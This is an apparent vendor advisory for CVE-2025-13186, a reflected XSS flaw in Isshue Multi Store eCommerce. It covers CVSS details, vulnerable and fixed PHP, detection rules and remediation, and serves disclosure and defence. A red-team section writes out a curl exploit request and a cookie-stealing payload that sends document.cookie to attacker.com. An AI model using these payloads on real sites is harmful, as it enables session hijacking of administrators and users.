CVE-2025-13186
Executive Summary
CVE-2025-13186 identifies a reflected Cross-Site Scripting (XSS) vulnerability in the Bdtask/CodeCanyon Isshue Multi Store eCommerce Shopping Cart Solution up to version 4.0. The flaw resides in the /dashboard/Ccustomer/manage_customer endpoint, where the Search argument is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript. With a CVSS score of 2.4 (Low), the risk is minimal due to the requirement for user interaction and the lack of direct data access; however, the public availability of an exploit and the vendor's unresponsiveness elevate the operational risk for unpatched deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a commercial PHP-based eCommerce solution distributed via CodeCanyon. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to direct installations of the Isshue software.
CVSS Breakdown & Threat Level
- CVSS Score: 2.4 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The attack is executed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need authentication.
- User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): None – No data is directly exposed.
- Integrity (I): Low – The attacker can modify content within the victim's browser session.
- Availability (A): None – No impact on service availability.
Threat Level: Low. The XSS is reflected and requires user interaction, limiting its impact to session hijacking or phishing within the application context.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Search parameter of the /dashboard/Ccustomer/manage_customer endpoint. The application fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL such as:
https://target.com/dashboard/Ccustomer/manage_customer?Search=<script>alert('XSS')</script>
When a logged-in administrator or user clicks this link, the injected script executes in their browser context, potentially allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the page.
The exploit is publicly available, and the vendor has not responded to disclosure attempts, meaning no official patch exists.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual PHP):
<?php
$search = $_GET['Search'];
echo "<div>Search results for: " . $search . "</div>";
?>
Patched Code (Conceptual PHP):
<?php
$search = htmlspecialchars($_GET['Search'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $search . "</div>";
?>
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable instance of Isshue Multi Store eCommerce Shopping Cart Solution (<= 4.0).
- A web browser or tool like
curl.
Exploitation Steps:
- Identify the target URL:
http://target.com/dashboard/Ccustomer/manage_customer - Craft a malicious payload:
<script>alert(document.cookie)</script> - Encode the payload for URL:
%3Cscript%3Ealert(document.cookie)%3C/script%3E - Send the crafted request:
curl "http://target.com/dashboard/Ccustomer/manage_customer?Search=%3Cscript%3Ealert(document.cookie)%3C/script%3E" - The victim's browser will execute the script, displaying their cookies.
Advanced Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests to
/dashboard/Ccustomer/manage_customercontaining<script>oronerror=patterns. - Use a Web Application Firewall (WAF) to block common XSS payloads in the
Searchparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup:
- Deploy a vulnerable instance in an isolated environment using Docker or a local PHP server.
- Use Burp Suite or OWASP ZAP to test and validate the vulnerability.
Indicators of Compromise (IOCs)
- URL Pattern:
/dashboard/Ccustomer/manage_customer?Search=<script> - HTTP Request: GET request with
Searchparameter containing HTML/JavaScript. - Log Entry:
GET /dashboard/Ccustomer/manage_customer?Search=%3Cscript%3Ealert(1)%3C/script%3E - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
Detection Engineering
YARA Rule
rule CVE_2025_13186_XSS_Detection {
meta:
description = "Detects XSS attempts targeting CVE-2025-13186 in Isshue eCommerce"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13186"
strings:
$xss_payload = /Search=.*(<script|<img|onerror=|onload=)/i
$uri_pattern = /\/dashboard\/Ccustomer\/manage_customer/
condition:
$uri_pattern and $xss_payload
}
Sigma Rule
title: CVE-2025-13186 XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Isshue eCommerce manage_customer endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- '/dashboard/Ccustomer/manage_customer'
- 'Search='
cs-uri-query|re: '(<script|<img|onerror=|onload=)'
condition: selection
falsepositives:
- Legitimate search terms containing HTML tags (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13186 XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/dashboard/Ccustomer/manage_customer"; http_uri; content:"Search="; http_uri; pcre:"/(<script|<img|onerror=|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Sanitization: Apply
htmlspecialchars()or equivalent to theSearchparameter in/dashboard/Ccustomer/manage_customer. - WAF Rules: Block requests containing
<script>oronerror=in theSearchparameter. - CSP Header: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution.
Long-Term Fix:
- Since the vendor is unresponsive, consider migrating to a supported eCommerce platform.
- If custom development is possible, implement a comprehensive input validation and output encoding framework.
Workaround:
- Disable the search functionality on the
manage_customerpage if not critical.
Valters IT
Securing Digital Frontiers